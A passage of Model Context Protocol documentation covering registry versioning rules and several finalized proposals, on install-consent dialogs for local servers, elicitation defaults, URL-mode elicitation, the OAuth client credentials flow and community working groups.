11. Privacy and Publicity. You understand that any MCP server metadata you publish may be made public. This includes personal data such as your GitHub username, domain name, or details from your server description. Moreover, you understand that others may process personal information included in your MCP server metadata. For example, subregistries might enrich this data by adding how many stars your GitHub repository has, or perform automated security scanning on your code. By publishing a server, you agree that others may engage in this sort of processing, and you waive rights you might have in some jurisdictions to access, rectify, erase, restrict, or object to such processing.
# Versioning Published MCP Servers
Source: https://modelcontextprotocol.io/registry/versioning
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
MCP servers **MUST** define a version string in `server.json`. For example:
```json server.json highlight={6} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/email-integration-mcp",
"title": "Email Integration",
"description": "Send emails and manage email accounts",
"version": "1.0.0",
"packages": [
{
"registryType": "npm",
"identifier": "@username/email-integration-mcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
The version string **MUST** be unique for each publication of the server. Once published, the version string (and other metadata) cannot be changed.
## Version Format
The MCP Registry recommends [semantic versioning](https://semver.org/), but supports any version string format. When a server is published, the MCP Registry will attempt to parse its version as a semantic version string for sorting purposes, and will mark the version as "latest" if appropriate. If parsing fails, the version will always be marked as "latest".
If a server uses semantic version strings but publishes a new version that does *not* conform to semantic versioning, the new version will be marked as "latest" even if it would otherwise be sorted before the semantic version strings.
As an error prevention mechanism, the MCP Registry prohibits version strings that appear to refer to ranges of versions.
| Example | Type | Guidance |
| -------------- | ------------------- | ------------------------------ |
| `1.0.0` | semantic version | **Recommended** |
| `2.1.3-alpha` | semantic prerelease | **Recommended** |
| `1.0.0-beta.1` | semantic prerelease | **Recommended** |
| `3.0.0-rc.2` | semantic prerelease | **Recommended** |
| `2025.11.25` | semantic date | Recommended |
| `2025.6.18` | semantic date | Recommended **(⚠️Caution!⚠️)** |
| `2025.06.18` | non-semantic date | Allowed **(⚠️Caution!⚠️)** |
| `2025-06-18` | non-semantic date | Allowed |
| `v1.0` | prefixed version | Allowed |
| `^1.2.3` | version range | Prohibited |
| `~1.2.3` | version range | Prohibited |
| `>=1.2.3` | version range | Prohibited |
| `<=1.2.3` | version range | Prohibited |
| `>1.2.3` | version range | Prohibited |
| `<1.2.3` | version range | Prohibited |
| `1.x` | version range | Prohibited |
| `1.2.*` | version range | Prohibited |
| `1 - 2` | version range | Prohibited |
| `1.2 \|\| 1.3` | version range | Prohibited |
## Best Practices
### Use Semantic Versioning
Use [semantic versioning](https://semver.org/) for version strings.
### Align Server Version with Package Version
For local servers, align the server version with the underlying package version in order to prevent confusion:
```json server.json highlight={2,7} theme={null}
{
"version": "1.2.3",
"packages": [
{
"registryType": "npm",
"identifier": "@my-username/my-server",
"version": "1.2.3",
"transport": {
"type": "stdio"
}
}
]
}
```
If there are multiple underlying packages, use the server version to indicate the overall release version:
```json server.json highlight={2,7,15} theme={null}
{
"version": "1.3.0",
"packages": [
{
"registryType": "npm",
"identifier": "@my-username/my-server",
"version": "1.3.0",
"transport": {
"type": "stdio"
}
},
{
"registryType": "nuget",
"identifier": "MyUsername.MyServer",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
### Align Server Version with Remote API Version
For remote servers with an API version, the server version should align with the API version:
```json server.json highlight={2,6} theme={null}
{
"version": "2.1.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://api.myservice.com/mcp/v2.1"
}
]
}
```
### Use Prerelease Versions for Registry-only Updates
If you anticipate publishing a server multiple times *without* changing the underlying package or remote URL — for example, to update other parts of the metadata — use semantic prerelease versions:
```json server.json highlight={2} theme={null}
{
"version": "1.2.3-1",
"packages": [
{
"registryType": "npm",
"identifier": "@my-username/my-server",
"version": "1.2.3",
"transport": {
"type": "stdio"
}
}
]
}
```
According to semantic versioning, prerelease versions such as `1.2.3-1` are sorted before regular semantic versions such as `1.2.3`. Therefore, if you publish a prerelease version *after* its corresponding regular version, the prerelease version will **not** be marked as "latest".
## Aggregator Recommendations
MCP Registry aggregators **SHOULD**:
1. Attempt to interpret versions as semantic versions when possible
2. Use the following version comparison rules:
* If one version is marked as "latest", treat it as later
* If both versions are valid semantic versions, use semantic versioning comparison rules
* If neither versions are valid semantic versions, compare published timestamp
* If one version is a valid semantic version and the other is not, treat the semantic version as later
# SEP-1024: MCP Client Security Requirements for Local Server Installation
Source: https://modelcontextprotocol.io/seps/1024-mcp-client-security-requirements-for-local-server-
MCP Client Security Requirements for Local Server Installation
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1024 |
| **Title** | MCP Client Security Requirements for Local Server Installation |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-22 |
| **Author(s)** | Den Delimarsky |
| **Sponsor** | None |
| **PR** | [#1024](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1024) |
***
## Abstract
This SEP addresses critical security vulnerabilities in MCP client implementations that support one-click installation of local MCP servers. The current MCP specification lacks explicit security requirements for client-side installation flows, allowing malicious actors to execute arbitrary commands on user systems through crafted MCP server configurations distributed via links or social engineering.
This proposal establishes a best practice for MCP clients, requiring explicit user consent before executing any local server installation commands and complete command transparency.
## Motivation
The existing MCP specification does not address client-side security concerns related to streamlined ("one-click") local server configuration. Current MCP clients that implement these configuration experiences create significant attack vectors:
1. **Silent Command Execution**: MCP clients can automatically execute embedded commands without user review or consent when installing local servers via one-click flows.
2. **Lack of Visibility**: Users have no insight into what commands are being executed on their systems, creating opportunities for data exfiltration, system compromise, and privilege escalation.
3. **Social Engineering Vulnerabilities**: Users become comfortable executing commands labeled as "MCP servers" without proper scrutiny, making them susceptible to malicious configurations.
4. **Arbitrary Code Execution**: Attackers can embed harmful commands in MCP server configurations and distribute them through legitimate channels (repositories, documentation, social media).
Visual Studio Code [addressed this](https://den.dev/blog/vs-code-mcp-install-consent/) by implementing consent dialogs. Similarly, Cursor also supports a consent dialog for one-click local MCP server installation.
Without explicit security requirements in the specification, MCP client implementers may unknowingly create vulnerable installation flows, putting end users at risk of system compromise.
## Specification
### Client Security Requirements
MCP clients that support one-click local MCP server configuration **MUST** implement the following security controls:
#### Pre-Configuration Consent
Before executing any command to install or configure a local MCP server, the MCP client **MUST**:
1. Display a clear consent dialog that shows:
* The exact command that will be executed, without truncation
* All arguments and parameters
* A clear warning that this operation may be potentially dangerous
2. Require explicit user approval through an affirmative action (button click, checkbox, etc.)
3. Provide an option for users to cancel the installation
4. Not proceed with installation if consent is denied or not provided
## Rationale
### Design Decisions
**Mandatory Consent Dialogs**: The requirement for explicit consent dialogs balances security with usability. While this adds friction to the MCP server configuration process, it prevents potential breaches from silent command execution.
## Backward Compatibility
This SEP introduces new **requirements** for MCP client implementations but does not change the core MCP protocol or wire format.
**Impact Assessment:**
* **Low Impact**: Existing MCP servers and the core protocol remain unchanged
* **Client Implementation Required**: MCP clients must update their local server installation flows to comply with new security requirements
* **User Experience Changes**: Users will see consent dialogs where none existed before
**Migration Path:**
1. MCP clients can implement these changes in new versions without breaking existing functionality
2. Existing installed MCP servers continue to work normally
3. Only new installation flows require the consent mechanisms
No protocol-level backward compatibility issues exist, as this SEP addresses client behavior rather than the MCP wire protocol.
## Reference Implementation
N/A
## Security Implications
### Security Benefits
This SEP directly addresses:
* **Arbitrary Code Execution**: Prevents silent execution of malicious commands
* **Social Engineering**: Forces users to consciously review commands before execution
* **Supply Chain Attacks**: Creates visibility into MCP server installation commands
* **Privilege Escalation**: Users can identify and reject commands requesting elevated privileges
### Residual Risks
Even with these controls, risks remain:
* **User Override**: Users may approve malicious commands despite warnings
* **Sophisticated Obfuscation**: Advanced attackers may craft commands that appear legitimate
* **Implementation Gaps**: Clients may implement controls incorrectly
### Risk Mitigation
These residual risks are addressed through:
* Clear warning language in consent dialogs
* Recommendation for additional security layers (sandboxing, signatures)
* Ongoing security research and community awareness
# SEP-1034: Support default values for all primitive types in elicitation schemas
Source: https://modelcontextprotocol.io/seps/1034--support-default-values-for-all-primitive-types-in
Support default values for all primitive types in elicitation schemas
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1034 |
| **Title** | Support default values for all primitive types in elicitation schemas |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-22 |
| **Author(s)** | Tapan Chugh (chugh.tapan[@gmail](https://github.com/gmail).com) |
| **Sponsor** | None |
| **PR** | [#1034](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1034) |
***
## Abstract
This SEP recommends adding support for default values to all primitive types in the MCP elicitation schema (StringSchema, NumberSchema, and EnumSchema), extending the existing support that only covers BooleanSchema.
## Motivation
Elicitations in MCP offer a way to mitigate complex API designs: tools can request information on-demand rather than resorting to convoluted parameter handling. The challenge however is that users must manually enter obvious information that could be pre-populated for more natural interactions. Currently, only `BooleanSchema` supports default values in elicitation requests. This limitation prevents servers from providing sensible defaults for text inputs, numbers, and enum selections leading to more user overhead.
### Real-World Example
Consider implementing an email reply function. Without elicitation, the tool becomes unwieldy:
```python theme={null}
def reply_to_email_thread(
thread_id: str,
content: str,
recipient_list: List[str] = [],
cc_list: List[str] = []
) -> None:
# Ambiguity: Does empty list mean "no recipients" or "use defaults"?
# Complex logic needed to handle different combinations
```
With elicitation, the tool signature itself can be much simpler
```python theme={null}
def reply_to_email_thread(
thread_id: str,
content: Optional[str] = ""
) -> None:
# Code can lookup the participants from the original thread
# and prepare an elicitation request with the defaults setup
```
```typescript theme={null}
const response = await client.request("elicitation/create", {
message: "Configure email reply",
requestedSchema: {
type: "object",
properties: {
recipients: {
type: "string",
title: "Recipients",
default: "alice@company.com, bob@company.com" // Pre-filled
},
cc: {
type: "string",
title: "CC",
default: "john@company.com" // Pre-filled
},
content: {
type: "string",
title: "Message"
default: "" // If provided in the tool above
}
}
}
});
```
### Implementation
A working implementation demonstrating clients require minimal changes to display defaults (\~10 lines of code):
* Implementation PR: [https://github.com/chughtapan/fast-agent/pull/2](https://github.com/chughtapan/fast-agent/pull/2)
* A demo with the above email reply workflow: [https://asciinema.org/a/X7aQZjT2B5jVwn9dJ9sqQVkOM](https://asciinema.org/a/X7aQZjT2B5jVwn9dJ9sqQVkOM)
## Specification
### Schema Changes
Extend the elicitation primitive schemas to include optional default values:
```typescript theme={null}
export interface StringSchema {
type: "string";
title?: string;
description?: string;
minLength?: number;
maxLength?: number;
format?: "email" | "uri" | "date" | "date-time";
default?: string; // NEW
}
export interface NumberSchema {
type: "number" | "integer";
title?: string;
description?: string;
minimum?: number;
maximum?: number;
default?: number; // NEW
}
export interface EnumSchema {
type: "string";
title?: string;
description?: string;
enum: string[];
enumNames?: string[];
default?: string; // NEW - must be one of enum values
}
// BooleanSchema already has default?: boolean
```
### Behavior
1. The `default` field is optional, maintaining full backward compatibility
2. Default values must match the schema type
3. For EnumSchema, the default must be one of the valid enum values
4. Clients that support defaults SHOULD pre-populate form fields. Clients that don't support defaults MAY ignore the field entirely.
## Rationale
1. The high-level rationale is to follow the precedent set by BooleanSchema rather than creating new mechanisms.
2. Making defaults optional ensures backward compatibility.
3. This maintains the high-level intuition of keeping the client implementation simple.
### Alternatives Considered
1. **Server-side Templates**: Servers could maintain templates separately, but this adds complexity
2. **New Request Type**: A separate request type for forms with defaults would fragment the API
3. **Required Defaults**: Making defaults required would break existing implementations
## Backwards Compatibility
This change is fully backward compatible with no breaking changes. Clients that don't understand defaults will ignore them, and existing elicitation requests continue to work unchanged. Clients can adopt default support at their own pace
## Security Implications
No new security concerns:
1. **No Sensitive Data**: The existing guidance against requesting sensitive information still applies
2. **Client Control**: Clients retain full control over what data is sent to servers
3. **User Visibility**: Default values are visible to users who can modify them before submission
# SEP-1036: URL Mode Elicitation for secure out-of-band interactions
Source: https://modelcontextprotocol.io/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera
URL Mode Elicitation for secure out-of-band interactions
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 1036 |
| **Title** | URL Mode Elicitation for secure out-of-band interactions |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-22 |
| **Author(s)** | Nate Barbettini ([@nbarbettini](https://github.com/nbarbettini)) and Wils Dawson ([@wdawson](https://github.com/wdawson)) |
| **Sponsor** | None |
| **PR** | [#1036](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1036) |
***
## Abstract
This SEP introduces a new `url` mode for the existing elicitation client capability, enabling secure out-of-band interactions that bypass the MCP client. URL mode elicitation addresses sensitive use cases that form mode elicitation cannot, such as gathering sensitive credentials, performing OAuth flows for external (3rd-party) authorization, and handling payments, *without* exposing sensitive data to the MCP client. By directing users to trusted URLs in their browser, this mode maintains security boundaries while enabling rich integrations with third-party services.
## Motivation
The current MCP specification (2025-06-18) provides an elicitation mechanism for gathering non-sensitive information from users through structured, in-band requests (most commonly imagined as the MCP client rendering a form to collect data from the end-user). However, several critical use cases require interactions that must not pass through the MCP client:
1. Sensitive data collection: API keys, passwords, and other credentials must never transit through intermediary systems.
2. External authorization: MCP servers often need to access third-party APIs on behalf of users. The MCP authorization specification only covers client-to-server authorization, not server-to-third-party authorization. The [Security Best Practices](https://modelcontextprotocol.io/specification/2025-06-18/basic/security_best_practices) document explicitly forbids token passthrough, requiring a secure mechanism for external (3rd-party) OAuth flows. This was a particularly important motivating factor emerging from discussions in #234 and #284.
3. Payment and Subscription Flows: Financial transactions require PCI compliance and secure payment processing that cannot be achieved through in-band data collection.
Without a standardized mechanism for these interactions, MCP servers must resort to non-standard workarounds or insecure practices like requesting API keys through in-band, form-style elicitation. This SEP addresses these gaps by introducing a URL elicitation mode that leverages established web security patterns to handle sensitive interactions securely.
URL elicitation is fundamentally different from [MCP authorization](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). URL elicitation is not for authorizing the MCP client's access to the MCP server (that's handled directly by MCP authorization). Instead, it's used when the MCP server needs to obtain sensitive information or third-party authorization on behalf of the user. The MCP client's bearer token remains unchanged, and the client's only responsibility is to provide the user with context about the elicitation URL the server wants them to open.
## Specification
### Overview
Elicitation is updated to support two modes:
* **Form mode** (in-band): Servers can request structured data from users with optional JSON schemas to validate responses (no change here, other than adding a name to the existing capability)
* **URL mode** (out-of-band): Servers can direct users to external URLs for sensitive interactions that must not pass through the MCP client
### Capabilities
Clients that support elicitation **MUST** declare the `elicitation` capability during initialization:
```json theme={null}
{
"capabilities": {
"elicitation": {
"form": {},
"url": {}
}
}
}
```
For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only:
```jsonc theme={null}
{
"capabilities": {
"elicitation": {},
},
}
```
Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`).
### Form Elicitation Requests
The only change from the existing specification is the addition of a `mode` field in the `elicitation/create` request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "elicitation/create",
"params": {
"mode": "form", // New field
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string"
}
},
"required": ["name"]
}
}
}
```
### URL Elicitation Requests
URL elicitation requests **MUST** specify `mode: "url"` and include these parameters:
| Name | Type | Description |
| --------------- | ------ | ------------------------------------------------------------------ |
| `url` | string | The URL that the user should navigate to. |
| `elicitationId` | string | A unique identifier for the elicitation. |
| `message` | string | A human-readable message explaining why the interaction is needed. |
#### Example: OAuth Authorization Flow
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "elicitation/create",
"params": {
"mode": "url",
"elicitationId": "550e8400-e29b-41d4-a716-446655440000",
"url": "https://github.com/login/oauth/authorize?client_id=abc123&state=xyz789&scope=repo",
"message": "Please authorize access to your GitHub repositories to continue."
}
}
```
#### Response Actions
URL elicitation responses use the same three-action model as form elicitation:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"action": "accept" // or "decline" or "cancel"
}
}
```
The response with `action: "accept"` indicates that the user has consented to the interaction. The interaction occurs out of band and the client is not aware of the outcome unless the server sends a completion notification.
#### Completion Notifications
Servers **SHOULD** send a `notifications/elicitation/complete` notification when an
out-of-band interaction started by URL mode elicitation is completed. This allows clients to react programmatically if appropriate.
* The notification **MUST** only be sent to the client that initiated the elicitation request.
* The notification **MUST** include the `elicitationId` established in the original `elicitation/create` request.
* Clients **MUST** ignore notifications referencing unknown or already-completed IDs.
* If a completion notification never arrives, clients **SHOULD** provide a manual way for the user to continue the interaction.
Clients **MAY** use the notification to automatically retry requests that received a URL elicitation required error, update the user interface, or otherwise continue an interaction. However, because delivery of the notification is not guaranteed, clients must not wait indefinitely for a notification from the server.
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/elicitation/complete",
"params": {
"elicitationId": "550e8400-e29b-41d4-a716-446655440000"
}
}
```
#### URL Elicitation Required Error
When a request cannot be processed until an elicitation is completed, the server **MAY** return a `URLElicitationRequiredError` (code `-32042`) to indicate that a URL mode elicitation is required. The server **MUST NOT** return this error except when URL mode elicitation is required by the user interaction.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": -32042,
"message": "This request requires more information.",
"data": {
"elicitations": [
{
"mode": "url",
"elicitationId": "550e8400-e29b-41d4-a716-446655440000",
"url": "https://oauth.example.com/authorize?client_id=abc123&response_type=code&...",
"message": "Authorization is required to access your Example Co files."
}
]
}
}
}
```
Any elicitations returned in the error **MUST** be URL mode elicitations and include an `elicitationId`.
Returning a `URLElicitationRequiredError` is equivalent to sending an `elicitation/create` request. The server may return an error (instead of sending a separate `elicitation/create` request) as an affordance to the client to make it clear that a particular elicitation is directly related to a failed client request.
The client must treat `URLElicitationRequiredError` responses as equivalent to `elicitation/create` requests. Clients may automatically retry the failed request after the elicitation is completed successfully, for example after receiving a completion notification.
## Rationale
### Design Decisions
**Why extend elicitation instead of creating a new mechanism?**
Initially, we considered creating a separate mechanism for out-of-band interactions (discussed in #475). However, after discussions with the MCP maintainers, we decided to extend the existing elicitation specification because:
1. Both mechanisms serve the same fundamental purpose: gathering information from users
2. Having two similar-but-separate mechanisms for the same purpose is confusing and error-prone
3. The `mode` parameter cleanly separates the two interaction patterns
**Why can't the client perform the interaction itself?**
It is tempting to suggest that the MCP client should perform the interaction itself, e.g. act as an OAuth client to a third-party authorization server. However, there are several reasons why this is not a good idea:
* If the MCP client obtains user tokens from a third-party authorization server, the MCP server becomes a [token passthrough](https://modelcontextprotocol.io/specification/2025-06-18/basic/security_best_practices#token-passthrough) server, which is explicitly forbidden.
* Similarly, for payment-type flows, the MCP client would need to perform PCI-compliant payment processing, which is not a desired requirement for MCP clients.
**Why doesn't the server block (wait) on the elicitation to complete?**
URL mode elicitation requests are asynchronous or "disconnected" flows by design, because the kinds of interactions they enable are inherently asynchronous. Payment flows, external authorization, etc. can take minutes or more to complete, and in some cases never complete at all (if abandoned by the end-user).
**Why disallow URLs in form mode?**
Being very explicit about when URLs can (and cannot) be sent in an elicitation request improves the client's security posture. By clearly stating in the spec that URLs are *only* allowed in the `url` field of a URL mode elicitation request, client implementers can implement UX patterns that are consistent with the security model. For example, a client could refuse to render a URL as a clickable hyperlink in a form mode elicitation request, reducing the likelihood of a user clicking on a malicious URL sent by a malicious server.
### Alternative Approaches Considered
1. **Token Passthrough**: Simply passing the MCP client's token to external services was rejected due to security concerns documented in the Security Best Practices. Having the MCP client obtain additional tokens and passing those to the MCP server was rejected for the same reason.
2. **OAuth-specific Capability**: Creating a capability specific to external (3rd-party) authorization with OAuth was considered, but rejected in favor of the more general URL mode elicitation approach that supports multiple use cases.
### Community Feedback
This proposal incorporates extensive community feedback from discussions in #475, #234, and #284, as well as the #auth-wg working group on Discord. The community identified the need for:
* Secure credential collection without client exposure
* External authorization patterns separate from MCP authorization
* Payment and subscription flow support
* Clear security boundaries and trust models
## Backward Compatibility
This SEP introduces the following breaking changes:
1. **Capability Declaration**: Clients must now specify which elicitation modes they support:
```json theme={null}
{
"capabilities": {
"elicitation": {
"form": {},
"url": {}
}
}
}
```
Previously, clients only declared `"elicitation": {}` without mode specification.
2. **Mode Parameter**: All `elicitation/create` requests must now include a `mode` parameter (`"form"` or `"url"`).
### Migration Path
To ease migration:
* Servers SHOULD check client capabilities before sending mode-specific requests
* Clients MAY initially support only form mode to maintain compatibility
* Existing form elicitation implementations continue to work with the addition of the mode parameter
# Reference Implementation
Client/server implementation in TypeScript: [feat/url-elicitation](https://github.com/modelcontextprotocol/typescript-sdk/compare/main...ArcadeAI:mcp-typescript-sdk:feat/url-elicitation)
Explainer video: [https://drive.google.com/file/d/1llCFS9wmkK\_RUgi5B-zHfUUgy-CNb0n0/view?usp=sharing](https://drive.google.com/file/d/1llCFS9wmkK_RUgi5B-zHfUUgy-CNb0n0/view?usp=sharing)
## Security Implications
This SEP introduces several security considerations:
### URL Security Requirements
1. **SSRF Prevention**: Clients must validate URLs to prevent Server-Side Request Forgery attacks
2. **Protocol Restrictions**: Only HTTPS URLs are allowed for URL elicitation
3. **Domain Validation**: Clients must clearly display target domains to users
### Trust Boundaries
URL elicitation explicitly creates clear trust boundaries:
* The MCP client never sees sensitive data obtained by the MCP server via URL elicitation
* The MCP server must independently verify user identity
* Third-party services interact directly with users through secure browser contexts
### Identity Verification
Servers must verify that the user completing a URL elicitation is the same user who initiated the request. Verifying the identity of the user must not rely on untrusted input (e.g. user input) from the client.
### Implementation Requirements
1. **Clients must**:
* Use secure browser contexts that prevent inspection of user inputs
* Validate URLs for SSRF protection
* Obtain explicit user consent before opening URLs
* Clearly display target domains
2. **Servers must**:
* Bind elicitation state to authenticated user sessions
* Verify user identity at the beginning and end of a URL elicitation flow
* Implement appropriate rate limiting
3. **Both parties should**:
* Log security events for audit purposes
* Implement timeout mechanisms for elicitation requests
* Provide clear error messages for security failures
### Relationship to Existing Security Measures
This proposal builds upon and complements existing MCP security measures:
* Works within the existing MCP authorization framework (MCP authorization is not affected by this proposal)
* Follows Security Best Practices regarding token handling
* Maintains separation of concerns between client-server and server-third-party authorization
# SEP-1046: Support OAuth client credentials flow in authorization
Source: https://modelcontextprotocol.io/seps/1046-support-oauth-client-credentials-flow-in-authoriza
Support OAuth client credentials flow in authorization
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1046 |
| **Title** | Support OAuth client credentials flow in authorization |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-23 |
| **Author(s)** | Darin McAdams ([@D-McAdams](https://github.com/D-McAdams) ) |
| **Sponsor** | None |
| **PR** | [#1046](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1046) |
***
## Abstract
Recommends adding the OAuth client credentials flow to the authorization spec to enable machine-to-machine scenarios.
### Motivation
The original authorization spec mentioned the client credentials flow, but it was dropped in subsequent revisions. Therefore, the spec is currently silent on how to solve machine-to-machine scenarios where an end-user is unavailable for interactive authorization.
### Specification
The authorization spec would be amended to list the OAuth client credentials flow as being allowed. Adhering to the patterns established by OAuth 2.1, the specification would RECOMMEND the use of asymmetric methods defined in RFC 753 (JWT Assertions), but also allow client secrets.
As guidance to implementors, the spec overview would also be updated to describe the different flows and when each is applicable. In addition, to address a common question, the spec would be updated to indicate that implementors may implement other authorization scenarios beyond what's defined; emphasizing that the specification defines the baseline requirements.
### Rationale
To maximize interoperability (and minimize SDK complexity), this change would intentionally constrain the client credentials flow to two options:
1. JWT Assertions as per RFC 7523 (RECOMMENDED)
2. Client Secrets via HTTP Basic authentication (Allowed for maximum compatibility with existing systems)
Other options, such as mTLS, are not included.
While the spec encourages the use of RFC 7523 (JWT Assertions), it does not yet specify how to populate the JWT contents nor how to discover the client's JWKS URI to validate the JWT. In future iterations of the spec, it will be beneficial to do so. However, this was currently left unspecified pending maturity of other RFCs that can define these profiles. The other RFCs include [WIMSE Headless JWT Authentication](https://www.ietf.org/archive/id/draft-levy-wimse-headless-jwt-authentication-01.html) (for specifying JWT contents) and [Client ID Metadata](https://datatracker.ietf.org/doc/draft-parecki-oauth-client-id-metadata-document/) (for specifying the JWKS URI). This revision intentionally leaves extensibility for these future profiles. As a practical matter, this means implementers needing to ship solutions ASAP will most likely use client secrets which are widely supported today, whereas the JWT Assertion pattern represents the longer-term direction.
### Backward Compatibility
This change is fully backward compatible. It introduces a new authorization flow, but does not alter the existing flows.
### Security Implications
The specification refers to the existing OAuth security guidance.
# SEP-1302: Formalize Working Groups and Interest Groups in MCP Governance
Source: https://modelcontextprotocol.io/seps/1302-formalize-working-groups-and-interest-groups-in-mc
Formalize Working Groups and Interest Groups in MCP Governance
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1302 |
| **Title** | Formalize Working Groups and Interest Groups in MCP Governance |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-08-05 |
| **Author(s)** | tadasant |
| **Sponsor** | None |
| **PR** | [#1302](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1302) |
***
## Abstract
*A short (\~200 word) description of the technical issue being addressed.*
In [SEP-994](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1002), we introduced a notion of “Working Groups” and “Interest Groups” that facilitate MCP sub-communities for discussion and collaboration. This SEP aims to formally define those two terms: what they are meant to achieve, how groups can be created, how they are governed, and how they can be retired.
Interest Groups work to define *problems* that MCP should solve by facilitating *discussions*, while Working Groups push forward specific *solutions* by collaboratively producing *deliverables* (in the form of SEPs or community-owned implementations of the specification). Interest Group input is a welcome (but not required) justification for creation of a Working Group. Interest Group or Working Group input is collectively a welcome (but not required) input into a SEP.
## Motivation
*The motivation should clearly explain why the existing protocol specification is inadequate to address the problem that the SEP solves.*
The community has already been self-organizing into several disparate systems for these collaborative groups:
* The Steering group has had a long-standing practice of managing a handful of collaborative groups through Discord channels (e.g. security, auth, agents). See [bottom of MAINTAINERS.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md).
* The “CWG Discord” has had a [semi-formal process](https://github.com/modelcontextprotocol-community/working-groups) for pushing equivalent grassroots initiatives, mostly in pursuit of creating artifacts for SEP consideration (e.g. hosting, UI, tool-interfaces, search-tools)
With SEP-994 resulting in the merging of the Discord communities, we have a need to:
* Merge the existing initiatives into one unified approach, so when we reference “working group” or “interest group”, everyone knows what that means and what kind of weight the reference might carry
* Standardize a process around the creation (and eventual retirement) of such groups
* Properly distinguish between “working” and “interest” groups; the CWG experience has shown two very different motivations for starting a group worth treating with different expectations and lifecycle. Put succinctly, “interest” groups are about brainstorming possible *problems*, and “working” groups are about pushing forward specific *solutions*.
These groups exist to:
* **Facilitate high signal spaces for discussion** such that those opting into notifications and meetings feel most content is relevant to them and they can meaningfully contribute their experience and learn from others
* **Create norms, expectations, and single points of involved leadership** around making collaborative progress towards concrete deliverables that help evolve MCP
It will also form the foundation for cross-group initiatives, such as maintaining a calendar of live meetings.
## Specification
*The technical specification should describe the syntax and semantics of any new protocol feature. The specification should be detailed enough to allow competing, interoperable implementations. A PR with the changes to the specification should be provided.*
### Interest Groups (IG) \[Problems]
**Goal**: facilitate discussion and knowledge-sharing among MCP community members with similar interests surrounding some MCP sub-topic or context. The focus is on collecting *problems* that may or may not be worth solving with SEPs or other community artifacts.
**Expectations**:
* At least one substantive thread / conversation per month
* AND/OR a live meeting attended by 3+ unaffiliated individuals
**Examples**:
* Security in MCP (currently: #security)
* Auth in MCP (currently: #auth)
* Using MCP in an internal enterprise setting (currently: #enterprise-wg)
* Tooling and practices surrounding hosting MCP servers (currently: #hosting-wg)
* Tooling and practices surrounding implementing MCP clients (currently: #client-implementors)
**Lifecycle**:
* Creation begins by filling out a template in #wg-ig-group-creation Discord channel
* A community moderator will review and call for a vote in the (private) #community-moderators Discord channel. Majority positive vote by members over a 72h period approves creation of the group. Can be reversed at any time (e.g. after more input comes in). Core and lead maintainers can veto.
* Facilitator(s) and Maintainer(s) responsible for organizing IG into meeting expectations
* Facilitator is an informal role responsible for shepherding or speaking for a group
* Maintainer is an official representative from the MCP steering group (not required for every group to have this)
* IG is retired only when community moderators or core+ maintainers decide it is not meeting expectations
* This means successful IG’s will live on in perpetuity
**Creation Template**:
* Facilitator(s)
* Maintainer(s) (optional)
* Flag potential overlap with other IG’s
* How this IG differentiates itself from the related IG’s
* First topic you want to discuss
There is no requirement to be part of an IG to start a WG, or even to start a SEP. However, forming consensus in IG’s to support justifying the creation of a WG is often a good idea. Similarly, citing IG or WG support of a SEP helps the SEP as well.
### Working Groups (WG) \[Solutions]
**Goal**: facilitate MCP community collaboration on a specific SEP, themed series of SEPs, or officially endorsed Project.
**Expectations**:
* Minimum monthly progress towards at least one SEP or spec-related implementation OR holds maintenance responsibilities for a Project
* Facilitator(s) is/are responsible for fielding status update requests by community moderators or maintainers
**Examples**:
* Registry
* Inspector
* Tool Filtering
* Server Identity
**Lifecycle**:
* Creation begins by filling out a template in #wg-ig-group-creation Discord channel
